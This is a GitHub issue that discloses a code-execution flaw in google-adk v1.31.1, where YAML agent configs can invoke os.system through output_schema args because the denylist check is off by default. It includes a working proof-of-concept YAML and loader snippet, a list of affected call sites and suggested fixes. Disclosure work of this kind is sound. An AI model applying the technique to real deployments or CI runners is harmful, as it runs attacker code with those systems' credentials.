Skip to content

v1.31.1 _check_yaml_for_blocked_keys not wired into default from_config() path #5532

@vexlorn

Description

@vexlorn

Observation

v1.31.1 added _check_yaml_for_blocked_keys to block args keys in YAML
agent configs (changelog: "block RCE vulnerability via nested YAML
configurations in ADK"). The check is gated behind an opt-in flag
_set_enforce_denylist(True) and is not called from
config_agent_utils._load_config_from_path. Default from_config() runs the
CodeConfig.args callable on every load.

PR #5344 was closed; the maintainer comment scoped the issue to the
/builder web endpoint and noted adk web as a developer tool. The
v1.31.1 fix covers that boundary. The non-/builder call sites listed below
are not covered.

Affected call sites in v1.31.1+

  • src/google/adk/cli/cli_deploy.py — Agent Engine deployment template:
    root_agent = config_agent_utils.from_config(config_path)
  • src/google/adk/cli/utils/agent_loader.py_load_from_yaml_config()
    calls config_agent_utils.from_config(config_path). Reached by adk run,
    adk web, adk deploy.

Reproduction

google-adk v1.31.1, fresh venv, no _set_enforce_denylist(True) call.

# exploit.yaml
agent_class: LlmAgent
name: exploit_agent
instruction: "."
model: "gemini-2.5-flash"
output_schema:
  name: os.system
  args:
    - value: "touch /tmp/adk-rce-$$"
from google.adk.agents.config_agent_utils import from_config
try: from_config('exploit.yaml')
except Exception: pass

Result: /tmp/adk-rce-<pid> exists. The pydantic.ValidationError raised by
the LlmAgent constructor is post-exploit.

input_schema is interchangeable with output_schema. model_code is gated
by _require_llm_agent_model and _validate_model_sources; the other two
are not.

Verified against PyPI v1.31.1 and main at
3e282d2cabb52daf7a3aab6344334788fe9a151d (2026-04-28).

Impact

The payload runs as the ADK process identity at agent load.

  • Vertex AI Agent Engine deployments: payload runs as the agent's runtime
    service account and inherits its IAM bindings.
  • adk run / adk web / adk deploy from a developer workstation: payload
    runs as the developer's user.
  • CI runner that runs adk against a tree containing the payload YAML
    (lint, deploy preview, integration test): payload runs with CI credentials.

Persistence: every reload of the poisoned config re-runs the payload.

Suggested fix

  1. Default _ENFORCE_DENYLIST = True and call
    _check_config_for_blocked_keys from _load_config_from_path. Provide an
    opt-out for trusted-source loads.
  2. Add an untrusted=True parameter to from_config() that activates the
    denylist. Propagate from cli_deploy.py and agent_loader.py.
  3. Split CodeConfig into a trusted form and an UntrustedCodeConfig
    without an args field. Bind YAML-sourced LlmAgentConfig fields to the
    latter.

Disclosure

Reported via g.co/vulnz on 2026-04-18 (Issue Tracker #503880658). Closed as
Won't Fix (Intended Behavior) on 2026-04-28 with guidance to pursue the fix
via public maintainer channels. Filing this issue per that guidance.

Related: closed PR #5344, comment by @sasha-gitg
(#5344 (comment)).

Metadata

Metadata

Labels

core[Component] This issue is related to the core interface and implementationrequest clarification[Status] The maintainer need clarification or more information from the author

Type

No fields configured for Bug.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions